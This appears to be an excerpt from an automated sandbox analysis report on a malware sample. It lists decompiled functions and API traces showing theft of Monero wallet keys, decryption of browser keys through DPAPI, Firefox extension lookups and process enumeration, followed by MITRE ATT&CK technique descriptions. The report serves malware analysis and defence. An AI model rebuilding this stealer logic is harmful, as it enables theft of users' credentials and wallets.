Part of subcall function 006D99C0: ReadFile.KERNEL32(000000FF,?,00000000,006D148F,00000000), ref: 006D9A5A
Part of subcall function 006D99C0: LocalFree.KERNEL32(006D148F), ref: 006D9A90
Part of subcall function 006D99C0: CloseHandle.KERNEL32(000000FF), ref: 006D9A9A

Part of subcall function 006E8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 006E8E52

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

Part of subcall function 006EA9B0: lstrlen.KERNEL32(?,00E491C8,?,\Monero\wallet.keys,006F0E17), ref: 006EA9C5
Part of subcall function 006EA9B0: lstrcpy.KERNEL32(00000000), ref: 006EAA04
Part of subcall function 006EA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006EAA12

Part of subcall function 006EA8A0: lstrcpy.KERNEL32(?,006F0E17), ref: 006EA905

Part of subcall function 006EA920: lstrcpy.KERNEL32(00000000,?), ref: 006EA972
Part of subcall function 006EA920: lstrcat.KERNEL32(00000000), ref: 006EA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,006F1580,006F0D92), ref: 006DF54C
lstrlen.KERNEL32(00000000), ref: 006DF56B

Strings

moz-extension+++, xrefs: 006DF5AD
^userContextId=4294967295, xrefs: 006DF59C

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: bbde2639d12b5fde117d9bd0101102bd11fc48de008a77b75d9458566f03697b
Instruction ID: ed5778896f8bbbcdb0928003e33bade893cf551060c9548e30ba0e27c6fc3b8b
Opcode Fuzzy Hash: bbde2639d12b5fde117d9bd0101102bd11fc48de008a77b75d9458566f03697b
Instruction Fuzzy Hash: 66513375D11248AADB44FBE1DC92DEE733BAF54300F41852CF40667191EE347A09CBA6

Function 006E70D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 006E718C
sn, xrefs: 006E7111
sn, xrefs: 006E72AE, 006E7179, 006E717C

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: sn$sn$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-3579818175
Opcode ID: 90e023a15b967659fed2fb4306a5755408c23b18fff559132053b0121aa2173a
Instruction ID: 3e2c629d7f60126c23665ac3731bf2b008a0cee4d4f76c9fb11675814c95d08b
Opcode Fuzzy Hash: 90e023a15b967659fed2fb4306a5755408c23b18fff559132053b0121aa2173a
Instruction Fuzzy Hash: D7518DB0C053489FDB54EBA1DC85BEEB376AF54304F1480ACE20567282EB746E89CF59

Function 006E3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: bb50a1845723b5cfa0a36c6613615bede3e33bfda278835bf046dbb279a134b9
Instruction ID: 89d5602aa7129f4174c84432070d38af42f4984818aa1a06cf3c9167030c35aa
Opcode Fuzzy Hash: bb50a1845723b5cfa0a36c6613615bede3e33bfda278835bf046dbb279a134b9
Instruction Fuzzy Hash: C0415171D11349ABDF04EFF6C845AFEB776AB44304F008018E5166B351EB75AA06CFA5

Function 006D9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

Part of subcall function 006D99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006D99EC
Part of subcall function 006D99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 006D9A11
Part of subcall function 006D99C0: LocalAlloc.KERNEL32(00000040,?), ref: 006D9A31
Part of subcall function 006D99C0: ReadFile.KERNEL32(000000FF,?,00000000,006D148F,00000000), ref: 006D9A5A
Part of subcall function 006D99C0: LocalFree.KERNEL32(006D148F), ref: 006D9A90
Part of subcall function 006D99C0: CloseHandle.KERNEL32(000000FF), ref: 006D9A9A

Part of subcall function 006E8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 006E8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 006D9D39

Part of subcall function 006D9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nm,00000000,00000000), ref: 006D9AEF
Part of subcall function 006D9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,006D4EEE,00000000,?), ref: 006D9B01
Part of subcall function 006D9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nm,00000000,00000000), ref: 006D9B2A
Part of subcall function 006D9AC0: LocalFree.KERNEL32(?,?,?,?,006D4EEE,00000000,?), ref: 006D9B3F

Part of subcall function 006D9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 006D9B84
Part of subcall function 006D9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 006D9BA3
Part of subcall function 006D9B60: LocalFree.KERNEL32(?), ref: 006D9BD3

Strings

"encrypted_key":", xrefs: 006D9D30
, xrefs: 006D9DC1
DPAPI, xrefs: 006D9D89

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 3d7537ecc76fcb67d803b90b4a1f96cc9bc06a8159d6edaa3b878ab10b951225
Instruction ID: 817ca88abb27183af434881ca9283342bc7783d6a82b6ef38ab58ff1989edf35
Opcode Fuzzy Hash: 3d7537ecc76fcb67d803b90b4a1f96cc9bc06a8159d6edaa3b878ab10b951225
Instruction Fuzzy Hash: 65313EB6D10209ABCF04DFE4DC85AEFB7BAAF48304F144519E905A7345EB349A04CBA5

Function 006E8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,006F05B7), ref: 006E86CA
Process32First.KERNEL32(?,00000128), ref: 006E86DE
Process32Next.KERNEL32(?,00000128), ref: 006E86F3

Part of subcall function 006EA9B0: lstrlen.KERNEL32(?,00E491C8,?,\Monero\wallet.keys,006F0E17), ref: 006EA9C5
Part of subcall function 006EA9B0: lstrcpy.KERNEL32(00000000), ref: 006EAA04
Part of subcall function 006EA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006EAA12

Part of subcall function 006EA8A0: lstrcpy.KERNEL32(?,006F0E17), ref: 006EA905

CloseHandle.KERNEL32(?), ref: 006E8761

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: f3f299f2cc736a14aa76854034281fd3896a792cf7fc4ac7e5ae64edb0e99ce0
Instruction ID: 2d65de37593a3959aec048c761919a70cc196013e48ab68a63c1b5a6ddbc8948
Opcode Fuzzy Hash: f3f299f2cc736a14aa76854034281fd3896a792cf7fc4ac7e5ae64edb0e99ce0
Instruction Fuzzy Hash: 64316B71912358ABDB65DF92CC81FEEB77AEB44700F10419DF10AA21A0EB306E45CFA5

Function 006E7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,006F0E00,00000000,?), ref: 006E79B0
RtlAllocateHeap.NTDLL(00000000), ref: 006E79B7
GetLocalTime.KERNEL32(?,?,?,?,?,006F0E00,00000000,?), ref: 006E79C4
wsprintfA.USER32 ref: 006E79F3

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 668acbd425924366358a90c881f126d263869eec05a3d9551b32451b82f4cc9d
Instruction ID: f0d09040487899952a32fd80c845bcae6c2eb059e1ee54879d0b61f1d7467b95
Opcode Fuzzy Hash: 668acbd425924366358a90c881f126d263869eec05a3d9551b32451b82f4cc9d
Instruction Fuzzy Hash: AA112AB2A19118ABCB14DFCADD45BFEB7F8FB4CB11F10425AF605A2280E2395940D7B1

Function 006EC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 006EC74E

Part of subcall function 006EBF9F: __amsg_exit.LIBCMT ref: 006EBFAF

__getptd.LIBCMT ref: 006EC765
__amsg_exit.LIBCMT ref: 006EC773
__updatetlocinfoEx_nolock.LIBCMT ref: 006EC797

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 3da7c92f7d12e9ac2b8e438e33024c457f39d726f4aab065f84ed1da2dc95e3b
Instruction ID: dd4b39f02b441be28214681587bea6647493bd010ed854e5f8de7dda543a2b73
Opcode Fuzzy Hash: 3da7c92f7d12e9ac2b8e438e33024c457f39d726f4aab065f84ed1da2dc95e3b
Instruction Fuzzy Hash: 39F096329037949BDBA0BFBA9806B9E33A36F00735F21514DF404A62D2CB645942DE5E

Function 006E4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006E8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 006E8E0B

lstrcat.KERNEL32(?,00000000), ref: 006E4F7A
lstrcat.KERNEL32(?,006F1070), ref: 006E4F97
lstrcat.KERNEL32(?,00E49258), ref: 006E4FAB
lstrcat.KERNEL32(?,006F1074), ref: 006E4FBD

Part of subcall function 006E4910: wsprintfA.USER32 ref: 006E492C
Part of subcall function 006E4910: FindFirstFileA.KERNEL32(?,?), ref: 006E4943

Part of subcall function 006E4910: StrCmpCA.SHLWAPI(?,006F0FDC), ref: 006E4971
Part of subcall function 006E4910: StrCmpCA.SHLWAPI(?,006F0FE0), ref: 006E4987
Part of subcall function 006E4910: FindNextFileA.KERNEL32(000000FF,?), ref: 006E4B7D
Part of subcall function 006E4910: FindClose.KERNEL32(000000FF), ref: 006E4B92

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 3b1064b01646b948b7a2d0b291500b465781b9a9e9481e26ce432f5738a0e2fb
Instruction ID: d8764edbdc2a77690eaaafcffcdfb1113beecee54ffcda460dd5cc58cba0643b
Opcode Fuzzy Hash: 3b1064b01646b948b7a2d0b291500b465781b9a9e9481e26ce432f5738a0e2fb
Instruction Fuzzy Hash: 3A21FDB6A153086BC754F7B0DC46EED333EA754300F008548B65957182EE749EC9CB96

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

